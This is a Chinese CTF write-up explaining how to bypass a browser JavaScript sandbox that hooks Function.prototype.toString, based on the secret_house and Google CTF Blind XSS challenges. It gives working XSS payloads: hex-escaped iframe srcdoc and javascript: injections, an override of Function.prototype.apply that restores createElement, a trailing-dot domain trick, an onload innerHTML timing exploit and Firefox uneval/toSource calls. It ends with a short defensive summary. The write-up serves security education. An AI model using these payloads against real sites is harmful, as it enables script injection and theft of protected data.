前端Sandbox hook toString的一点思路
字数 1395 2025-08-26 22:11:51
前端Sandbox Hook toString的绕过思路详解
前言
本文总结了在Web安全领域中绕过前端Sandbox中toString方法被Hook的多种技术思路,主要基于Defcon China决赛中的secret_house题目和Google CTF决赛中的Blind XSS题目。
基本场景分析
1. 简单Hook toString的场景
Function.prototype.toString = function() {
return '[No source code for you. Not on my watch, not in my world]';
}
这种简单的Hook会阻止通过Function.prototype.toString.call()获取函数源代码。
2. 复杂Sandbox场景(secret_house)
secret_house题目实现了更完整的Sandbox限制:
- 重写
Function.prototype.toString为noop - 限制
window.open和document.createElement - 通过事件监听器在页面加载时进一步加固
- 禁用DOM元素的
innerHTML属性
绕过思路详解
方法一:获取原生toString方法
核心思想:通过iframe创建一个新的执行环境,获取未被Hook的原生toString方法。
1. 使用srcdoc属性
ifr = document.createElement('iframe');
ifr.srcdoc = '\x3script\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e';
document.head.append(ifr);
特点:
srcdoc创建的iframe与父页面同源- 绕过同源策略限制
2. 使用javascript伪协议
ifr = document.createElement('iframe');
ifr.src = '\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74:parent.result = Function.prototype.toString.call(parent.get_secret)';
document.head.append(ifr);
限制:
- 题目中
createElement被重写,无法直接创建iframe
方法二:利用Function.prototype.apply
核心思想:通过重写apply方法恢复原生createElement。
Function.prototype.apply = function() {
Document.prototype.createElement = this;
};
a = document.createElement('a'); // 触发apply调用
ifr = document.createElement('iframe');
ifr.srcdoc = '\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e';
document.head.append(ifr);
原理:
- 利用
apply调用时的this指向原函数 - 将
createElement恢复为原始函数
限制:
- 题目中后续会将
createElement再次设为noop
方法三:利用CSP解析特性
预期解法:利用DNS解析和CSP策略的差异。
http://secret-bctf.art./?xss=alert(get_secret)
关键点:
- 浏览器不认为
secret-bctf.art和secret-bctf.art.是同一个域 - 导致Sandbox脚本(
sandbox.js)不会被加载 - 直接绕过所有限制
方法四:利用DOM解析时序
非预期解法:利用页面加载时序和DOM结构特点。
onload = function(){
document.body.innerHTML = `\x3ciframe srcdoc='\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e'\x3e\x3c/iframe\x3e`;
}
原理:
- Sandbox脚本执行时
body元素尚未存在 document.all不包含body元素body.innerHTML未被Hook
方法五:Firefox特有方法
1. 使用uneval函数
http://secret-bctf.art/?xss=alert(uneval(get_secret))
2. 使用toSource方法
http://secret-bctf.art/?xss=alert(get_secret.toSource())
特点:
- Firefox特有方法
- 直接获取函数源代码,不依赖
toString
防御措施分析
-
完整Sandbox实现:
- 不仅Hook
toString,还需限制DOM操作 - 注意页面加载时序的影响
- 不仅Hook
-
CSP策略:
- 注意域名解析的细微差别
- 明确指定所有可能的域名变体
-
环境隔离:
- 彻底禁用iframe创建
- 监控全局函数修改
总结
绕过前端Sandbox的关键思路包括:
- 寻找未被污染的执行环境(iframe)
- 利用语言特性恢复被Hook的函数
- 利用策略解析差异(CSP/DNS)
- 利用浏览器实现差异(Firefox特有方法)
- 利用页面加载时序和DOM结构特点
这些技术展示了前端安全防护与绕过的复杂博弈,开发者在实现安全机制时需要全面考虑各种可能的绕过途径。